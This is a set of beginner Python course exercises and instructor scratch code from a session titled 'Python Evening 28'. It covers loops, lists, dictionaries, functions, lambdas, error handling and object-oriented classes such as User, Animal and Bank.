Python Evening 28

Python Evening 28

Ex. 1:
Use a for loop to add up every odd number from 50 to 100 (inclusive) and store the result in the variable `x`.

Ex. 2:
Create a list and add items of your own choice to it. Write code to demonstrate all the
list methods you have learnt so far.

Ex. 3:
sounds = ["numbers", "data", "python", "source", "selenium", "networks", "structures"]

a. Write code that loops over the list and adds all the strings together to form one
large combined string (don't add any spaces between them)
b. The combined string should be in all UPPERCASE as well
c. Save the result in a variable called `result`
# print("Hello World")  # This will print some text
# print(102)
# print(-314.2445)


# PEMDAS / BODMAS
# This a comment for me

price = 0
print(price)

# apple_iphone_price = 1000

price = 200
print(price)

new_price = 200 * (18 / 100)

print(new_price)

copied_price = price

print(copied_price)

# val1 = 100
# val2 = 200
# val3 = 300

val1, val2, val3 = 100, 200, 300

print(val1, val2, val3)
# None
phone_no = None
phone_no = 9873232332


# Strings
first_name = "john"
last_name = "doe"

# String escape sequences
message = 'He \\said, \n\n\\n"\vthat\'s \tcool"!'

# print(first_name)
# print(last_name)
print(message)
# # print("Enter your amount in USD: ")
# user_input = input("Enter your amount in USD: \n")

# inr = int(user_input) * 75

# # print(f"User typed {user_input}")

# print(f"{user_input} USD is {inr} INR.")
# # print(input())


# user_input = input("Please enter your city: ")

# if user_input.lower() == "rio":
#     print("You are welcome here!")
#     print("You are welcome here!")
#     print("You are welcome here!")
#     print("You are welcome here!")
# elif user_input.lower() == "wuhan":
#     print("Get into qurantine")
# else:
#     print("I don't know what city that is")


# age = int(input("Please enter your age: "))

# if (age >= 18 and age < 21) or age == 0:
#     print("You are allowed to enter, but you cannot drink.")
# elif age >= 21 and age < 65:
#     print("You can enter and can consume alcohol.")
# elif age >= 65:
#     print("Drinks are free!")
# else:
#     print("Get lost")


# age = 13
# city = "rio"

# if age > 18 and city == "rio":
#     print("You are welcome")
# elif not (age < 18 or city == "mumbai"):
#     print("Good")
# else:
#     print("ELSE condition")

# num1 = 10
# num2 = 10

# num1 == num2


age = input("Please enter your age: ")  # 19
city = input("Please enter your city: ")

if age:
    age = int(age)
    if age >= 18 and age < 21:
        if city == "mumbai":
            print("You are allowed to enter, but you cannot drink.")
        else:
            print("You can drink. You can do whatever you want")
    elif age >= 21 and age < 65:
        print("You can enter and can consume alcohol.")
    elif age >= 65:
        print("Drinks are free!")
    else:
        print("Get lost")
else:
    print("Please enter a value")


if not age:
    print("Please add a valid value")
elif int(age) >= 18 and int(age) < 21:
    print("You are allowed to enter, but you cannot drink.")
elif int(age) >= 21 and int(age) < 65:
    print("You can enter and can consume alcohol.")
elif int(age) >= 65:
    print("Drinks are free!")
else:
    print("Get lost")
# print("...rock...")
# print("...paper...")
# print("...scissor...")

# player1 = input("Player 1 - Enter your choice: ")
# player2 = input("Player 2 - Enter your choice: ")

# # Conditional Logic

# if player1 == player2:
#     print("It's a tie")
# elif (
#     (player1 == "rock" and player2 == "scissor")
#     or (player1 == "paper" and player2 == "rock")
#     or (player1 == "scissor" and player2 == "paper")
# ):
#     print("Player 1 wins")
# elif (
#     (player2 == "rock" and player1 == "scissor")
#     or (player2 == "paper" and player1 == "rock")
#     or (player2 == "scissor" and player1 == "paper")
# ):
#     print("Player 2 wins")
# else:
#     print("Something went wrong")


# if player1 == player2:
#     print("It's a tie")
# elif player1 == "rock":
#     if player2 == "scissor":
#         print("Player 1 wins")
#     elif player2 == "paper":
#         print("Player 2 wins")
# elif player1 == "paper":
#     if player2 == "rock":
#         print("Player 1 wins")
#     elif player2 == "scissor":
#         print("Player 2 wins")
# elif player1 == "scissor":
#     if player2 == "paper":
#         print("Player 1 wins")
#     elif player2 == "rock":
#         print("Player 2 wins")
# else:
#     print("Something went wrong")
random_numbers = list(range(10, 31))
deleted_numbers = []

deleted_numbers.append(random_numbers.pop(3))
deleted_numbers.append(random_numbers.pop())
deleted_numbers.append(random_numbers.pop(0))
# print(deleted_numbers)

deleted_numbers.clear()
# print(deleted_numbers)

random_numbers.extend(list(range(15, 25)))
# random_numbers.extend([15,16,27,18,19,20,21,22,23,24])
print(random_numbers)

random_numbers.remove(20)
print(random_numbers)


print(random_numbers.index(29))


# my_strs.sort().reverse()
# words = ["hello", "howdy", "namaste", "shalom", "mushi"]

# name = "john doe"

# print()


# print(".".join(words))


# frameworks = ["Django", "Flask"]

# oldValue = frameworks[0]
# frameworks[0] = (frameworks[1],)
# frameworks[1] = oldValue


# for char in [1, 2, 3, 45, 65, 67, 432, 21, 12]:
#     print(char * char)


# password = input("Please enter your password: ")

# while password != "balony1":
#     password = input("Please enter your password: ")

# print("Welcome Back")


# for num in range(1, 11):
#     print(num)

# i = 1
# while i < 11:
#     print(i)
#     i += 1
#     # i = i + 1


# words = ["hello", "howdy", "namaste", "shalom", "mushi"]

# i = 0
# while i < len(words):
#     print(words[i])
#     i += 1


i = 1
password = input("Please enter your password: ")
while password != "balony1":
    print(i)
    if i > 3:
        break
    password = input("Please enter your password: ")
    i += 1
# password = input("Please enter your password: ")

# attempts = 1
# while password != "python3333":
#     print("Incorrect Password!")
#     if attempts > 2:
#         break
#     password = input("Please enter your password: ")
#     attempts += 1

# if password != "python3333":
#     print("You are locked out!")
# else:
#     print("Welcome back!")

# print(f"Total attempts: {attempts * 1000}")


total = 0
odd_nums = []

for number in range(50, 101):
    if number % 2 != 0:
        odd_nums.append(number)
        total += number

print(total)
print(odd_nums)

movies2 = []
for movie in movies:
    movies2.append(movie.upper())
# nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

# for lst in nested_list:
#     for item in lst:
#         print(item)


# [print(lst) for lst in nested_list]

# [[print(item) for item in lst] for lst in nested_list]


# nested_list

# # loop 1
# lst -> [1, 2, 3]
#     # inner loop
#     item -> 1 ==== print()
#     item -> 2 ==== print()
#     item -> 3 ==== print()
# lst -> [4,5,6]
#     item -> 4 ==== print()
#     item


# [print("hello world") for x in range(1, 6)]

# none_list = [[print("hello world") for y in range(1, 4)] for x in range(1, 6)]
# print(none_list)

# [[y * x for y in range(3)] for x in range(10)]


# [["X" if num % 2 != 0 else "O" for num in range(1, 4)] for val in range(1, 4)]


# iPhone = ["iPhone", "Apple", 100000, 1000, "SK6283njdas", "This is some description..."]
# mi_phone = ["Redmi", "Xioami", 3000, 20000]

# print(phone[0])
# print(phone[2])


iPhone = {
    "name": "iPhone",
    "name": "Apple",
    "brand": "Apple",
    "price": 100000,
    "stock": 1000,
    42: "cool",
}


# iPhone = dict(name="iPhone", brand="Apple", price=100000)
print(iPhone["stock"])
print(iPhone["name"])
print(iPhone[42])
# 1. Print out: "John Doe is an admin" accessing values using the below dictionary
user = {"first_name": "John", "last_name": "Doe", "role": "admin"}


# 2: Loop over donations, add all the VALUES together and store 
# in a variable called total_donations
donations = {
    "john": 983.23,
    "jane": 2332.12,
    "jack": 23.22,
    "jim": 765.0,
    "jake": 342.34,
    "joe": 18.65,
}


# 3. Create a dictionary named `initial_state` and use all the below list 
# items as key names and make their values to be 0
game_properties = [
    "current_score",
    "high_score",
    "number_of_lives",
    "items_in_inventory",
    "power_ups",
    "ammo",
    "enemy_kills",
    "minutes_played",
]


# 4. Given two lists ["BOM", "DEL", "MAA"] and ["Mumbai", "Delhi", "Chennai"]
# create a dictionary that looks like this {'BOM': 'Mumbai', 'DEL': 'Delhi', 'MAA': 'Chennai'}.
# Save it to a variable called answer.
codes = ["BOM", "DEL", "MAA"]
cities = ["Mumbai", "Delhi", "Chennai"]


# 5. Convert the below multi-dimensional list to a dictionary: End result should look like
# {'name': 'John Doe', 'age': 25, 'job': 'Python Programmer'}
user = [["name", "John Doe"], ["age", 25], ["job", "Python Programmer"]]

Scratchpad #9

# song = {
#     "name": "Sober",
#     "artist": "Tool",
#     "album": "Undertow",
# }

# # print(song["genre"])
# print(song.get("genre"))


# song = {"name": "Vicarious", "album": "10,000 Days"}

# print(song)

# # song.pop()
# song.pop("album")

# print(song)

# song = {"name": "The Pot", "artist": "Tool", "album": "10,000 Days"}


# donations = {
#     "john": 983.23,
#     "jane": 2332.12,
#     "jack": 23.22,
#     "jim": 765.0,
#     "jake": 342.34,
#     "joe": 18.65,
# }

products = [
    {
        "name": "iPhone",
        "brand": "Apple",
        "price": 100000,
        "SKU": "23423nsao3nja",
        "stock": 100,
        "categories": ["mobiles", "electronics", "expensive"],
    },
    {
        "name": "iPhone",
        "brand": "Apple",
        "price": 100000,
        "SKU": "23423nsao3nja",
        "stock": 100,
        "categories": ["mobiles", "electronics", "expensive"],
    },
    {
        "name": "iPhone",
        "brand": "Apple",
        "price": 100000,
        "SKU": "23423nsao3nja",
        "stock": 100,
        "categories": ["mobiles", "electronics", "expensive"],
    },
]

print(products[1]["categories"][-1])
# user_input = input("Please enter a string: ")
# words = user_input.split()

# fixed_words = tuple(words)

# print(fixed_words)


# DRY
# WET


# # Function definition/declaration
# def greet():
#     print("Hello World!")


# greet()


# result = int("10")


def greet():
    print("Line start")
    print("Line end")
    return "Hello World!"


# message = greet()

print(greet())
import random


# def flip():
#     if random.random() > 0.5:
#         return "HEADS"
#     else:
#         return "TAILS"


# print(flip())


# param
# def say_hello(person, message):
#     print(f"{message}, {person.upper()}")
#     print("Hello World")
#     print("Hello World")
#     print("Hello World")


# user_name = input("Please enter a name: ")
# user_message = input("Please enter the message: ")

# say_hello("john", "Namaste")
# say_hello(user_name, user_message)  # arg


# def odd_even(num):
#     if num % 2 == 0:
#         return f"{num} - Even"
#     else:
#         return f"{num} - Odd"


# random_num = random.randint(0, 10)

# print(odd_even(random_num))


# def raise_to(num, pow=1):
#     return num ** pow


# print(raise_to(10, 3))


# # Accepts a list
# def sum_odd_nums(numbers):
#     total = 0
#     for num in numbers:
#         if num % 2 == 1:
#             total += num
#     return total


# print(sum_odd_nums([1, 3, 4, 5, 6, 3]))


# def add(num1, num2):
#     return num1 + num2


# def sub(num1, num2):
#     return num1 - num2


# def div(num1, num2):
#     return num1 / num2


# # MAIN FUNCTION
# def math(num1, num2, func=add):
#     return func(num1, num2)


# def print_nums(num1, num2):
#     return f"{num1} is cool! {num2} is not!"


# # print(add(10, 20))
# # print(math(10, 20, add))
# # print(math(10, 20, sub))
# # print(math(10, 20, div))

# print(math(100, 55, print_nums))

# print(math(10, 3))


# message = "Hello Universe"


# def full_name(first, last):
#     message = "Hello World"
#     print(message)
#     return "Your name is " + first + " " + last + "."


# print(message)


# # print(full_name("Gagan", "Tesla"))
# # print(full_name("Itachi", "Uchiha"))

# print(full_name(last="Tesla", first="Gagan"))


# total = 1000

# print("Original total", total)


# def static():
#     global total
#     # total = -500
#     total += 1000
#     return total


# print("Returned total", static())

# print("Original Total", total)


# def outer():
#     count = 0
#     while count < 10:
#         print(count)
#         count++
#     return inner()


# count = 0
# def inner():
#     nonlocal count
#     count += 1
#     return count


# A simple function that returns the string hello
def say_hello():
    """A simple function that returns the string hello"""
    return "Hello!"


print(say_hello.__doc__)
1. Write a function named get_day. This function should take in one parameter, a number between 1-7 and return the day of the week (1 is Monday,  2 is Sunday and so on). If the number is less than 1 or greater than 7, then it should return None.


2. Write a function named last_item. This function should take in one parameter which should be a list and it should return the last value in the list. It should return None if the list is empty.


3. Write a function called letter_count. This function takes in two parameters. The first parameter should be a word and the second should be a letter. The function returns the number of times that letter appears in the word. The function should be case insensitive (does not matter if the input is lowercase or uppercase). If the letter is not found in the word, the function should return 0.

letter_count("HelLo World", "l") # 3


4. Write a function called multi_letter_count. This function takes in one parameter (a string) and returns a dictionary with the keys being the letters and the values being the count of the letter. Use a diction

multi_letter_count("programmer") # {'p': 1, 'r': 3, 'o': 1, 'g': 1, 'a': 1, 'm': 2, 'e': 1}


5. Write a function called palindrome. A Palindrome is a word, phrase, number, or other sequence of characters which reads the same backward or forward. This function should take in one parameter and returns True or False depending on whether it is a palindrome. (Ignore case sensitivity)
# def last_item(lst):
#     return lst[-1]


# last_item([1, 2, 43, 2323, 32, 32, 23, -3244])

# last_item(["hello", "hi", "howdy"])


# name = "john"

# name.upper().lower()


# def get_day(num):
#     days = [
#         "monday",
#         "tuesday",
#         "wednesday",
#         "thursday",
#         "friday",
#         "saturday",
#         "sunday",
#     ]

#     if num >= 1 and num <= 7:
#         return days[num - 1]
#     else:
#         return None


# print(get_day(6))


# def palindrome(word):
#     # word_lst = list(word)
#     # word_lst.reverse()
#     # word_joined = "".join(word_lst)

#     return word == word[::-1]

#     # if word == word_joined:
#     #     return True
#     # else:
#     #     return False


# print(palindrome("wow"))
# def get_day(num):
#     days = [
#         "monday",
#         "tuesday",
#         "wednesday",
#         "thursday",
#         "friday",
#         "saturday",
#         "sunday",
#     ]
#     if num >= 1 and num <= 7:
#         return days[num - 1]
#     else:
#         return None


# get_day(4)


# def sum_all_nums(*nums):
#     # print(args)
#     total = 0
#     for num in nums:
#         total += num
#     return total


# print(sum_all_nums(10, 5, 100, 6, 67, 43))


# def sum_all_nums(name, age, *nums):
#     # print(name)
#     # print(age)
#     # print(nums)
#     total = 0
#     for num in nums:
#         total += num
#     return f"{name} your age is {age} and you would probably live for {total} years"


# # print(sum_all_nums(10, 5, 100, 6, 67, 43))
# print(sum_all_nums("John", 25, 100, 6, 67, 43))


# def print_name(first, last):
#     print(f"{first} {last}")


# print_name(last="matsumoto", first="yukihiro")


# def user_details(**kwargs):
#     # print(kwargs)
#     for key, value in kwargs.items():
#         print(f"{key} --- {value}")


# user_details(name="Guido", employer="Microsoft", expertise="Python", fav_board="x86")


# def show_info(a, b, *args, role="moderator", **kwargs):
#     return [a, b, args, role, kwargs]


# print(show_info(1, 2, 3, first_name="John", last_name="Doe"))

# prices = [10, 4, 34, 4, 32, 2]


# def add_all_values(*args):
#     total = 0
#     for num in args:
#         total += num
#     print(total)


# add_all_values(*prices)

# " ".join([name.capitalize() for name in k.split("_")])


# def user_details(**kwargs):
#     for key, value in kwargs.items():
#         print(f"{key} : {value}")


# def say_name(first, last):
#     print(f"My name is {first} {last}.")


# # user1 = {"first_name": "John", "last_name": "Doe", "age": 25}

# user1 = {"first": "John", "last": "Doe"}


# # user_details(**user1)
# say_name(**user1)

# # say_name(first="John", last="Doe")


# def create_acc(first, last, age, pan_no=None, acc_no=None):
#     print(first, last, age, pan_no, acc_no)


# user_details = [
#     {"first": "John", "last": "Doe", "age": 25, "pan_no": "A2DS2323"},
#     {"first": "Jane", "last": "Doe", "age": 29},
#     {"first": "Peter", "last": "Parker", "age": 30},
# ]

# for data in user_details:
#     create_acc(**data)


# def square(num):
#     return num * num

# square = lambda num: num * num
# add = lambda a, b: a + b

# print(square(10))
# print(add(10, 50))


# def multiply(a, b):
#     return a * b


# def add(a, b):
#     return a * b


# #
# def math(a, b, fn):
#     return fn(a, b)


# capitalizer = lambda k: " ".join([name.capitalize() for name in k.split("_")])

# print(capitalizer("first_name"))

# print(math(10, 10, lambda x, y: x * y))
# print(math(10, 10, multiply))


# def square(num):
#     return num * num


# nums = [1, 2, 3, 4, 5, 6, 7, 8]
# names = ["john doe", "jane doe", "jack doe", "clark kent"]
# double = map(lambda num: num ** 5, nums)

# names_upper = map(lambda name: name.upper(), names)


# # print([num for num in nums if num > 3])

# # print(list(double))

# # print(tuple(names_upper))


# # print("".join(list(map(lambda word: word * 3, "HELLO"))))


# names = ["john", "jack", "brad", "leo", "kamal", "mukesh"]

# print(list(filter(lambda name: name.startswith("k"), names)))
# print(list(filter(lambda name: name[0] == "k", names)))


names = ["John", "Jack", "James", "Desmond", "Charlie", "Jacob"]
# mapobject = ("john", "jack")

result = map(
    lambda name: f"The one who wins is {name}",
    filter(lambda value: len(value) < 5, names),
)

print(list(result))
# remove_negatives(lst) # [1,3,-2,-6,-4,2] -> [1,3,2]
# negate(lst) # [1,2,3] -> [0,1,2]

# import random


# def remove_negatives(lst):
#     return list(filter(lambda num: num > 0, lst))


# # print(random.randint(0, 100))


# print(remove_negatives([1, -2, 3, -6]))
# print(remove_negatives([-1, 3, -6]))

# {"i": 1, "want": 1}


# line = "I want to be a pirate king. Hello world, hello universe, hello galaxy."


# def count_words(sentence):
#     sentence_list = sentence.split(" ")
#     sentence_list = [
#         word.lower().replace(",", "").replace(".", "") for word in sentence_list
#     ]
#     return {word: sentence_list.count(word) for word in sentence_list}


# print(count_words(line))


# users = [{"name": "john"}, {"name": "jack"}, {}, {"name": "jane"}]

# if all(users):
#     print("DO SOME USER LOGIC")
# else:
#     print("SOMETHING WENT WRONG")


# >>> [num for num in [2,34,5,6,2] if num % 2 == 0]
# [2, 34, 6, 2]
# >>>
# >>> all([num for num in [2,34,5,6,2] if num % 2 == 0])
# True
# >>>
# >>> all([num*0 for num in [2,34,5,6,2] if num % 2 == 0])
# False
# >>> [num*0 for num in [2,34,5,6,2] if num % 2 == 0]
# [0, 0, 0, 0]
# >>>
# >>>
# >>>
# >>> any([0,0,0,1])
# True
# >>> any([0,0,0,""])
# False
# >>>
# >>> any([0,0,-2,""])
# True
# >>>
# >>> any([0,0,[],""])
# False
# >>> any([0,0,[]," "])
# True
# >>>
# >>> any([0,0,[]," "])
# True
# >>>
# >>>
# >>>
# >>> [val for val in [1,2,3] if val > 5]
# []
# >>>
# >>>


# print(sorted([12, 3, 7, 3, 9]))
# print(sorted((12, 3, 7, 3, 9)))

# strings = ["hello", "Hello", "world", "a", "A", "Universe", "python"]
# lower_strings = [word.lower() for word in strings]

# print(sorted(lower_strings))


# my_list = [12, 3, 7, 3, 9]

# for num in reversed(my_list):
#     print(num)


# my_dict = {"a": 1, "b": 2, "c": 3}

# for item in my_dict:
#     print(item)


# students = ["jack", "jane", "john", "jill", "jack", "josh", "jason"]
# marks = [45, 50, 10, 12, -2, 32, 28, 34, 23, 45, 3, 34, 21]
# grades = ["A", "A+", "F", "F", "F-", "B+", "B"]

# # report = zip(students, marks)
# report = zip(students, marks, grades)

# print(list(report))


vm_ips = [81, 82, 83, 84, 85, 86]
server_ids = [228, 229, 230]

print(list(zip(vm_ips, server_ids)))


mapped_list = [(81, 228), (82, 229), (83, 229)]

for item in mapped_list:
    item[0]


# name = "John Doe"
# name.upper() # 'JOHN DOE'
# name.lower() # 'john doe'
# name.capitalize() # 'John doe'
# name.swapcase() # 'jOHN dOE'

# name = "    john doe         "
# name.strip() # 'john doe'
# name.rstrip()
# name.lstrip()

# name.split() # LATER


# name = "John Doe"
# name.find('Doe') # 5
# name.lower().find('doe') # 5

# name.replace('John', 'Jack')
# # 'Jack Doe'

# name.startswith('j') # False
# name.endswith('e') # True
# name.count('e') # 1

# "".join() # LATER
# import pdb

# mylist = ["hello", "world", "hello", "galaxy"]


# # # for word in mylist:
# # #     print(mylist)


# i = 0
# pdb.set_trace()
# while i < len(mylist):
#     print(mylist[i])
#     i += 1

# # Raising Errors


# # def colored_text(text, color):
# #     pdb.set_trace()
# #     valid_colors = ["red", "blue", "green", "yellow", "white"]

# #     if type(text) is not str:
# #         raise TypeError("Text is supposed to be a string, you dumbass!")
# #     elif type(color) is not str:
# #         raise TypeError("Color should be a string")
# #     elif color not in valid_colors:
# #         raise ValueError("Color cannot be anything you want!")

# #     print("Good job")


# # colored_text("Hello World", 100)


# # try:
# #     colored_text("Hello World", "red")
# # except:
# #     print("SOMETHING WENT WRONG")


# # try:
# #     result = 100 / 20
# # except:
# #     print("Something went wrong")
# # else:
# #     print(f"The result of this operation is {result}")
# # finally:
# #     print("This always runs")


# # def scrape_page(url):
# #     try:
# #         response = request.get(url)
# #     except:
# #         raise NotFoundError("URL not found")
# #     else:
# #         # processing


# # def divide(a, b):
# #     try:
# #         result = a / b
# #     # except:
# #     #     print("Something went wrong")
# #     except (ZeroDivisionError, TypeError, ValueError) as err:
# #         print("Life is good, but this has some issue: ", err)
# #     else:
# #         print(result)


# # divide(10, 0)


# # def divide(a, b):
# #     try:
# #         result = a / b
# #     except (ZeroDivisionError, TypeError, ValueError):
# #         print("Life is good, but this has some issue: ", err)
# #     else:
# #         print(result)


# # divide(10, 0)


# print(random.random())
# print(random.randint(0, 10))


# print(random.choice(["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"]))

# import random as r
# from random import shuffle, random, randint
# from random import *
# from random import shuffle, random as r, randint as rint


# processors = ["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"]

# random = "Hello world"

# print(processors)
# shuffle(processors)
# print(processors)

# print(r())
# print(rint(0, 5))

# print(f"My random variable: {random}")


# import my_mod
from my_mod import divint

# print(my_mod.sub(10, 4))

print(divint(999, 45))

print(__name__)
# Class -> motorcycle
# Describe my object

# wheel_size
# make
# model
# color
# cc

# start
# stop
# shift gears
# brakes


# CLASS
# CardsGame

# deck => [] -> 52
# Hand => []
# suits => ['spades', 'clubs', 'hearts', 'diamonds']
# values => "A,2,3,4,5,6,7,8,9,10,J,Q,K"

# initialize()
# drawCard() => pop a card from the deck and append to the Hand
# drawMultiple(count) => loop 4 times -> drawCard()
# shuffle()


# User Class

# def __greet__():
#     pass


class User:
    # attributes (variables)
    # methods (function)
    def __init__(self, pahila_name, last_name, email, password, aadhaar_card, dob):
        self.first = pahila_name
        self.last = last_name
        self.email = email
        self.password = password
        self._aadhaar_no = aadhaar_card
        self.__dob = dob  # self._User__dob


# john is an object of the class User
# john is an instance of User

john = User(
    "Manjunath", "Doe", "john@gmail.com", "john@123", "32436543643", "12/12/1995"
)

jane = User("Shivani", "Doe", "jane@outlook.com", "jane123", "2343254353", "12/12/1996")

jack = User(
    "Subham", "Doe", "jack@rediffmail.com", "passowrd", "23432432555", "12/12/1997"
)

print(john.email, john.first)
print(jane.password, jane.first)
print(jack.last, jane.first)

print("Jack's Aadhaar No.", jack._aadhaar_no)

print("Jack's DOB", jack._User__dob)


# List -> append() -> the inner workings of the append() method is abstracted away from me
class User:
    total_users = 0
    active_users = 0

    def __init__(self, first_name, last_name, dob):
        self.first_name = first_name
        self.last_name = last_name
        self.dob = dob
        self.role = "guest"
        User.total_users += 1

    def __repr__(self):
        return f"Name: {self.first_name.capitalize()} {self.last_name.capitalize()}\nRole: {self.role}"

    @classmethod  # decorator
    def display_total_users(cls, msg):
        print(msg)
        return User.total_users

    def full_name(self):
        return f"{self.first_name.capitalize()} {self.last_name.capitalize()}"

    def get_role(self):
        return f"{self.first_name} {self.last_name} is a {self.role}"

    def change_role(self, new_role):
        self.role = new_role
        return f"{self.first_name} is now {new_role}"

    def get_age(self):
        age = 2021 - int(self.dob.split("/")[-1])
        return f"{self.first_name} is {age} years old"

    def login(self):
        User.active_users += 1
        print(f"{self.first_name} has logged in")

    def logout(self):
        User.active_users -= 1
        print(f"{self.first_name} has logged out")


# Prompt
# f_name = input("Please enter your first name: ")
# l_name = input("Please enter your last name:")
# dob = input("Please enter your date of birth: ")

# custom_user = User(f_name, l_name, dob)


user1 = User("john", "doe", "10/12/1995")
# user2 = User("jane", "cho", "5/06/1999")
# user3 = User("sameer", "shaikh", "10/10/1999")

print(user1)

# # print(user1.active_users)
# # print(user2.active_users)

# user1.login()

# print(User.active_users)  # directly accessible using the class name
# print(User.total_users)

# user1.logout()
# print(User.active_users)

# print(User.display_total_users("The total number of users"))

# print(user1.first_name)
# print(user1.role)

# print(user1.full_name())
# print(user1.get_role())

# print(user2.get_role())
# print(user2.change_role("admin"))

# print(user1.role)
# print(user2.role)

# print(user1.dob)
# print(user1.get_age())
# print(user2.get_age())
# print(type(user2))


class Math:
    @classmethod
    def add(cls, a, b):
        return a + b

    @classmethod
    def sub(cls, a, b):
        return a - b

    @classmethod
    def div(cls, a, b):
        return a / b


# print(Math.add(10, 50))
# print(Math.sub(10, 5))


# Class
# Bank Account
# first_name, last_name, phone, address, dob, pan_card
# balance = 0

# display_details()
# deposit(amount)
# withdraw(amount) -> conditional to check against balance


# ## class attributes and methods
# total_customers
# get_total_customers()
# class User:
#     def __init__(self, first_name, last_name, dob):
#         self.first_name = first_name
#         self.last_name = last_name
#         self._dob = dob  # private attribute

#     # Getter
#     def get_first_name(self):
#         return self.first_name

#     # Setter
#     def set_first_name(self, new_name):
#         self.first_name = new_name
#         return f"First Name has been changed to {new_name}"

#     # Getter
#     def get_dob(self):
#         return self._dob


# john = User("john", "doe", "12/12/1995")

# print(john.get_first_name())
# print(john.set_first_name("Brad"))
# print(john.get_first_name())

# print(john.get_dob())


# john.first_name = "jack"

# print(john.first_name)
# print(john.last_name)
# print(john._dob)


# User ->
# Moderator ->
# Admin ->


# class User:
#     def __init__(self, first_name, last_name, dob):
#         self.first = first_name
#         self.last = last_name
#         self._dob = dob

#     def login(self):
#         print("You have logged in")

#     def logout(self):
#         print("You have logged out")


# class Moderator:
#     def __init__(self, first_name, last_name, dob, phone):
#         self.first = first_name
#         self.last = last_name
#         self._dob = dob

#     def login(self):
#         print("You have logged in")

#     def logout(self):
#         print("You have logged out")

#     def ban_user(self):
#         print("User was banned!")


# Base class
# class Animal:
#     def __init__(self, type, sound):
#         self.type = type
#         self.sound = sound

#     def make_sound(self):
#         return f"{self.sound * 3}"


# class Dog(Animal):
#     def play(self, toy):
#         return f"The dog's playing with the {toy}"


# a1 = Animal("Tiger", "Roars")
# d1 = Dog("German Shepherd", "Barks")

# print(d1.make_sound())
# print(a1.make_sound())
# print(d1.play("ball"))


# class Animal:
#     def __init__(self, species, name):
#         self._species = species
#         self._name = name

#     @property
#     def species(self):
#         return self._species.upper()

#     @property
#     def name(self):
#         return self._name.capitalize()

#     @name.setter
#     def name(self, new_name):
#         self._name = new_name

# def get_species(self):
#     return self._species

# def set_species(self, new_species):
#     self._species = new_species


# dog = Animal("Canine", "Tommy")

# print(dog.species)
# print(dog.name)

# dog.name = "sheru"

# print(dog.name)

# # dog.species = "fox"


# dog.set_species("Wolf")
# print(dog.get_species())
# dog.name = "dollar"
# print(dog.name)
# dog.species = "Wolf"
# print(dog._species)


# class Animal:
#     def __init__(self, species, name):
#         self._species = species
#         self.name = name


# class Tiger(Animal):
#     def __init__(self, species, name, location, color):
#         # super().__init__("Tiger", name)
#         self.location = location
#         self.color = color


# sk = Tiger("Tiger", "Sherkhan", "Africa", True)

# # print(sk.name)
# print(sk.location)
# print(sk.color)


# class User:
#     total = 0

#     def __init__(self, first, last, email, password):
#         self.first = first
#         self.last = last
#         self.email = email
#         self._password = password
#         User.total += 1

#     def login(self, password):
#         if password == self._password:
#             print("You have logged in")
#         else:
#             print("Incorrect password")


# class Admin(User):
#     def __init__(self, first, last, email, password, access, uid):
#         super().__init__(first, last, email, password)
#         self.access = access
#         self.uid = uid


# john = User("John", "Doe", "john@gmail.com", "john@123")

# jack = Admin("Jack", "Doe", "jack@outlook.com", "jack@111", 11, "KNK32kA2")

# print(jack.first, jack.last, jack.email)
# print(User.total)

# john.login("john123")
# jack.login("jack@111")


class Fish:
    def __init__(self, name):
        self.name = name

    def swim(self):
        return f"{self.name} is swiming"

    # def sound(self):
    #     return "Fish don't make sounds"


class Animal:
    def __init__(self, name):
        self.name = name

    def run(self):
        return f"{self.name} is running"

    def sound(self):
        return "Animals create a lot of sound"


class Amphibian(Fish, Animal):
    pass


# baboon = Animal("John")
# shark = Fish("Johnny")

# print(baboon.sound("AAAAA"))
# print(shark.sound("Roar"))

frog = Amphibian("Jack")

# print(frog.sound("Bleek"))
# print(frog.run())
# print(frog.swim())

print(frog.sound())

print(help(Amphibian))
class Animal:
    def __init__(self, name):
        self.name = name

    def speak(self):
        print("Noise")


# class Dog(Animal):
#     def __init__(self, name):
#         super().__init__(name)

#     def speak(self):
#         print("Bark")


# wolf = Animal("Waldo")
# tom = Dog("Tom")

# tom.speak()


# class User:
#     def __init__(self, name):
#         self.name = name

#     def login(self):
#         # check user
#         # check password
#         # if True
#         # Redirected to the User Profile Page
#         return "Access Granted"


# class Admin(User):
#     def __init__(self, name):
#         self.name = name

#     def login(self):
#         # check user
#         # check password
#         # if True
#         # Redirected to the Admin Management Page
#         return "Access Granted"


# class Animal:
#     def speak(self):
#         raise NotImplementedError("Subclass needs to implement this method")


# class Dog(Animal):
#     pass
#     # def speak(self):
#     #     return "bark"


# class Cat(Animal):
#     pass
#     # def speak(self):
#     #     return "meow"

from copy import copy


class Human:
    def __init__(self, first, last, height):
        self.first = first
        self.last = last
        self.height = height

    def __repr__(self):
        return f"{self.first} {self.last}"

    def __add__(self, other):
        if isinstance(other, Human):
            return Human("New born", self.last, 1)
        else:
            return f"Humans can only mate with other humans, you sick human!"

    def __len__(self):
        return int(self.height)

    def __lt__(self, other):
        return self.height < other.height


john = Human("John", "Doe", 6)  # Object of the class Human
jane = Human("Jane", "Doe", 5.8)
tommy = Animal("Tommy")

# jack = john.__add__(jane)
jack = john + jane
print(jack)

print(john + tommy)

print(len(jane))

print(john < jane)


# jane = copy(john)
# jane = john
# print(isinstance(john, Human))

# print(john)
# print(jane)
# print(john is jane)


# https://docs.python.org/3/reference/datamodel.html#specialnames

# random_string()

# Bank
# instance attributes
# -> customers: list
# ->


class Customer:
    def __init__(self, first, last, address, phone, email, bank_initial):
        pass
        # attributes
        # self._balance = 0 -> private attribute -> @property
        # self.account_number -> use the random_string method
        # self.account_number = bank_initial + rand_str()

    # def acc_no(self, init):

    # methods
    # deposit()
    # withdraw()
    # get_details()


class Bank:
    def __init__(self, name, initial, address, phone):
        self.name = name
        self.initial = initial
        self.address = address
        self.phone = phone
        self.customers = []

    # methods
    # add_customer(self, first, last, address, phone, email) -> Customer
    #       -> append to self.customers
    #       -> return Customer(...all_attrs, self.initial)
    # remove_customer(self, Customer)


# Customer
# name, last,


# sbi = Bank()
# pnb = Bank()


# def random_str(count):
#     result = ""
#     alpha = "abcdefghijklmnopqrstuvwxyz"
#     num = "123456789"


# random_str(10) # sakdkasdmi
# usernames = ["johndoe", "janedoe", "jackdoe"]

# # for user in usernames:
# #     print(user)


# def my_for_loop(iterable, func=print):
#     iterator = iter(iterable)

#     while True:
#         try:
#             i = next(iterator)
#         except StopIteration:
#             break
#         else:
#             func(i)


